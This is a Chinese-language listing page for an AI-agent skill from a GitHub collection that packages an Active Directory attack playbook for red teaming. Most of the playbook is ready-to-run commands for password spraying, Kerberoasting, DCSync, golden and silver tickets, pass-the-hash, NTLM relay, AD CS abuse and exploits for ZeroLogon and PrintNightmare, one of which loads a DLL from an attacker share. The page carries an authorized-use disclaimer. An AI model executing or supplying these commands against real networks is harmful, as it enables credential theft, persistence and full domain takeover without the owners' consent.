Communitygithub.com

SamuelChien/mega-skills-collection

提供针对 Microsoft Active Directory 环境的全面攻击技术,覆盖侦察、凭据窃取、Kerberos 攻击、横向移动、权限提升和域控制,用于红队操作和渗透测试。

mega-skills-collection 是什么?

该技能为 AI 代理(如 Claude Code、Cursor 或 Codex)提供了一套系统的 Active Directory 攻击技术方案。它涵盖了从初始侦察到完全控制域的完整攻击链,包括 BloodHound 路径分析、Kerberos 票证攻击(黄金/白银票据、Kerberoasting、AS-REP Roasting)、DCSync、Pass-the-Hash、NTLM 中继以及证书服务(AD CS)漏洞利用。技能还详细介绍了关键漏洞(如 ZeroLogon、PrintNightmare)的利用方法,并提供了 Impacket、Mimikatz、Rubeus、CrackMapExec 等工具的精确命令示例。此技能适用于 Kali Linux 或 Windows 攻击平台,要求用户具备域用户凭据和网络访问权限。它在文档中强调了时间同步、账户锁定规避以及文档记录等使用约束,确保仅在授权的安全评估或受控教育环境中使用。

兼容平台~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/SamuelChien/mega-skills-collection/tree/HEAD/active-directory-attacks

在你喜欢的 AI 中提问

打开一个已预加载此 Agent Skill 的新对话。

文档

仅限授权使用:仅将本技能用于授权的安全评估、防御验证或受控的教育环境。

Active Directory 攻击

目的

提供针对 Microsoft Active Directory 环境的全面攻击技术。覆盖侦察、凭据窃取、Kerberos 攻击、横向移动、权限提升和域控制,用于红队操作和渗透测试。

输入/前提条件

  • Kali Linux 或 Windows 攻击平台
  • 域用户凭据(大多数攻击所需)
  • 对域控制器的网络访问
  • 工具:Impacket、Mimikatz、BloodHound、Rubeus、CrackMapExec

输出/交付物

  • 域枚举数据
  • 提取的凭据和哈希
  • 用于模拟的 Kerberos 票证
  • 域管理员访问权限
  • 持久访问机制

必备工具

工具用途
BloodHoundAD 攻击路径可视化
ImpacketPython AD 攻击工具集
Mimikatz凭据提取
RubeusKerberos 攻击
CrackMapExec网络利用
PowerViewAD 枚举
ResponderLLMNR/NBT-NS 投毒

核心工作流程

步骤 1:Kerberos 时钟同步

Kerberos 要求时钟同步(±5 分钟):

# 检测时钟偏差
nmap -sT 10.10.10.10 -p445 --script smb2-time

# 在 Linux 上修正时钟
sudo date -s "14 APR 2024 18:25:16"

# 在 Windows 上修正时钟
net time /domain /set

# 不修改系统时间的情况下伪造时钟
faketime -f '+8h' <command>

步骤 2:使用 BloodHound 进行 AD 侦察

# 启动 BloodHound
neo4j console
bloodhound --no-sandbox

# 使用 SharpHound 收集数据
.\SharpHound.exe -c All
.\SharpHound.exe -c All --ldapusername user --ldappassword pass

# Python 收集器(从 Linux)
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all

步骤 3:PowerView 枚举

# 获取域信息
Get-NetDomain
Get-DomainSID
Get-NetDomainController

# 枚举用户
Get-NetUser
Get-NetUser -SamAccountName targetuser
Get-UserProperty -Properties pwdlastset

# 枚举组
Get-NetGroupMember -GroupName "Domain Admins"
Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member

# 查找本地管理员访问权限
Find-LocalAdminAccess -Verbose

# 用户狩猎
Invoke-UserHunter
Invoke-UserHunter -Stealth

凭据攻击

密码喷洒

# 使用 kerbrute
./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123

# 使用 CrackMapExec
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success

Kerberoasting

提取服务账户的 TGS 票证并进行离线破解:

# Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt

# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt

# CrackMapExec
crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt

# 使用 hashcat 破解
hashcat -m 13100 hashes.txt rockyou.txt

AS-REP Roasting

定位“不要求 Kerberos 预认证”的账户:

# Impacket
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat

# Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt

# 使用 hashcat 破解
hashcat -m 18200 hashes.txt rockyou.txt

DCSync 攻击

直接从域控制器提取凭据(需要“复制目录更改”权限):

# Impacket
secretsdump.py domain.local/admin:[email protected] -just-dc-user krbtgt

# Mimikatz
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /user:Administrator

Kerberos 票证攻击

传递票证(黄金票据)

使用 krbtgt 哈希为任意用户伪造 TGT:

# 首先通过 DCSync 获取 krbtgt 哈希
# Mimikatz - 创建黄金票据
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt

# Impacket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass domain.local/[email protected]

白银票据

为特定服务伪造 TGS:

# Mimikatz
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt

传递哈希

# Impacket
psexec.py domain.local/[email protected] -hashes :NTHASH
wmiexec.py domain.local/[email protected] -hashes :NTHASH
smbexec.py domain.local/[email protected] -hashes :NTHASH

# CrackMapExec
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth

覆盖传递哈希

将 NTLM 哈希转换为 Kerberos 票证:

# Impacket
getTGT.py domain.local/user -hashes :NTHASH
export KRB5CCNAME=user.ccache

# Rubeus
.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt

NTLM 中继攻击

Responder + ntlmrelayx

# 启动 Responder(为中继禁用 SMB/HTTP)
responder -I eth0 -wrf

# 启动中继
ntlmrelayx.py -tf targets.txt -smb2support

# 用于委派攻击的 LDAP 中继
ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access

SMB 签名检查

crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt

证书服务攻击(AD CS)

ESC1 - 错误配置的模板

# 查找易受攻击的模板
certipy find -u [email protected] -p password -dc-ip 10.10.10.10

# 利用 ESC1
certipy req -u [email protected] -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn [email protected]

# 使用证书进行身份验证
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10

ESC8 - Web 注册中继

ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

关键 CVE

ZeroLogon(CVE-2020-1472)

# 检查漏洞
crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon

# 利用
python3 cve-2020-1472-exploit.py DC01 10.10.10.10

# 提取哈希
secretsdump.py -just-dc domain.local/DC01\$@10.10.10.10 -no-pass

# 恢复密码(重要!)
python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD

PrintNightmare(CVE-2021-1675)

# 检查漏洞
rpcdump.py @10.10.10.10 | grep 'MS-RPRN'

# 利用(需托管恶意 DLL)
python3 CVE-2021-1675.py domain.local/user:[email protected] '\\attacker\share\evil.dll'

samAccountName 欺骗(CVE-2021-42278/42287)

# 自动利用
python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell

快速参考

攻击工具命令
KerberoastImpacketGetUserSPNs.py domain/user:pass -request
AS-REP RoastImpacketGetNPUsers.py domain/ -usersfile users.txt
DCSyncsecretsdumpsecretsdump.py domain/admin:pass@DC
传递哈希psexecpsexec.py domain/user@target -hashes :HASH
黄金票据Mimikatzkerberos::golden /user:Admin /krbtgt:HASH
密码喷洒kerbrutekerbrute passwordspray -d domain users.txt Pass

约束

必须:

  • 在 Kerberos 攻击前与域控制器同步时间
  • 大多数攻击需要有效的域凭据
  • 记录所有受损账户

禁止:

  • 因过度密码喷洒导致账户锁定
  • 未经批准修改生产 AD 对象
  • 在未记录的情况下留下黄金票据

建议:

  • 运行 BloodHound 发现攻击路径
  • 在中继攻击前检查 SMB 签名
  • 验证 CVE 利用的补丁级别

示例

示例 1:通过 Kerberoasting 实现域沦陷

# 1. 查找具有 SPN 的服务账户
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10

# 2. 请求 TGS 票证
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt

# 3. 破解票证
hashcat -m 13100 tgs.txt rockyou.txt

# 4. 使用破解的服务账户
psexec.py domain.local/svc_admin:[email protected]

示例 2:NTLM 中继到 LDAP

# 1. 启动针对 LDAP 的中继
ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access

# 2. 触发身份验证(例如通过 PrinterBug)
python3 printerbug.py domain.local/user:pass@target 10.10.10.12

# 3. 使用创建的机器账户进行 RBCD 攻击

故障排除

问题解决方案
时钟偏差过大与域控制器同步时间或使用 faketime
Kerberoasting 返回空没有带 SPN 的服务账户
DCSync 访问被拒绝需要“复制目录更改”权限
NTLM 中继失败检查 SMB 签名,尝试 LDAP 目标
BloodHound 为空确认收集器使用正确的凭据运行

附加资源

关于高级技术,包括委派攻击、GPO 滥用、RODC 攻击、SCCM/WSUS 部署、ADCS 利用、信任关系和 Linux AD 集成,请参见 references/advanced-attacks.md。

使用时机

执行概述中描述的工作流程或操作时,可使用本技能。

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

SamuelChien/mega-skills-collection

Security audit, hardening, threat modeling (STRIDE/PASTA), Red/Blue Team, OWASP checks, code review, incident response, and infrastructure security for any project.

SamuelChien/mega-skills-collection

Arquitecto de Soluciones Principal y Consultor Tecnológico de Andru.ia. Diagnostica y traza la hoja de ruta óptima para proyectos de IA en español.

SamuelChien/mega-skills-collection

Ingeniero de Sistemas de Andru.ia. Diseña, redacta y despliega nuevas habilidades (skills) dentro del repositorio siguiendo el Estándar de Diamante.

SamuelChien/mega-skills-collection

Estratega de Inteligencia de Dominio de Andru.ia. Analiza el nicho específico de un proyecto para inyectar conocimientos, regulaciones y estándares únicos del sector. Actívalo tras definir el nicho.

SamuelChien/mega-skills-collection

2D game development principles. Sprites, tilemaps, physics, camera.

SamuelChien/mega-skills-collection

3D game development principles. Rendering, shaders, physics, cameras.

SamuelChien/mega-skills-collection

Expert in building 3D experiences for the web - Three.js, React Three Fiber, Spline, WebGL, and interactive 3D scenes. Covers product configurators, 3D portfolios, immersive websites, and bringing depth to web experiences.

SamuelChien/mega-skills-collection

Accessibility audit skill for scanning, fixing, and verifying WCAG 2.2 Level A and AA compliance across React, Next.js, Vue, Angular, Svelte, and plain HTML codebases. Use when auditing accessibility, fixing a11y violations, checking color contrast, generating compliance reports, or integrating accessibility checks into CI/CD pipelines.

SamuelChien/mega-skills-collection

Ab Test Analyzer - Auto-activating skill for Data Analytics. Triggers on: ab test analyzer, ab test analyzer Part of the Data Analytics skill category.

SamuelChien/mega-skills-collection

A B Test Config Creator - Auto-activating skill for ML Deployment. Triggers on: a b test config creator, a b test config creator Part of the ML Deployment skill category.

SamuelChien/mega-skills-collection

When the user wants to plan, design, or implement an A/B test or experiment. Also use when the user mentions "A/B test," "split test," "experiment," "test this change," "variant copy," "multivariate test," "hypothesis," "conversion experiment," "statistical significance," or "test this." For tracking implementation, see analytics-tracking.

SamuelChien/mega-skills-collection

Acceptance Criteria Creator - Auto-activating skill for Enterprise Workflows. Triggers on: acceptance criteria creator, acceptance criteria creator Part of the Enterprise Workflows skill category.

SamuelChien/mega-skills-collection

Use when a coding task should be driven end-to-end from issue intake through implementation, review, deployment, and acceptance verification with minimal human re-intervention.

SamuelChien/mega-skills-collection

Accessibility Audit Runner - Auto-activating skill for Frontend Development. Triggers on: accessibility audit runner, accessibility audit runner Part of the Frontend Development skill category.

SamuelChien/mega-skills-collection

You are an accessibility expert specializing in WCAG compliance, inclusive design, and assistive technology compatibility. Conduct audits, identify barriers, and provide remediation guidance.

SamuelChien/mega-skills-collection

Web accessibility patterns for WCAG 2.2 compliance including ARIA, keyboard navigation, screen readers, and testing

SamuelChien/mega-skills-collection

Manage Discord channel access — approve pairings, edit allowlists, set DM/group policy. Use when the user asks to pair, approve someone, check who's allowed, or change policy for the Discord channel.

SamuelChien/mega-skills-collection

Create unified specification packages across Business, Development, and Design teams. Staged elaboration (L0 Vision → L1 Requirements → L2 Team Detail → L3 Acceptance Criteria) to build shared understanding. Does not write code.

SamuelChien/mega-skills-collection

Research a company or person and get actionable sales intel. Works standalone with web search, supercharged when you connect enrichment tools or your CRM. Trigger with "research [company]", "look up [person]", "intel on [prospect]", "who is [name] at [company]", or "tell me about [company]".

SamuelChien/mega-skills-collection

Validate messaging consistency across website, GitHub repos, and local documentation generating read-only discrepancy reports. Use when checking content alignment or finding mixed messaging. Trigger with phrases like "check consistency", "validate documentation", or "audit messaging".

相关技能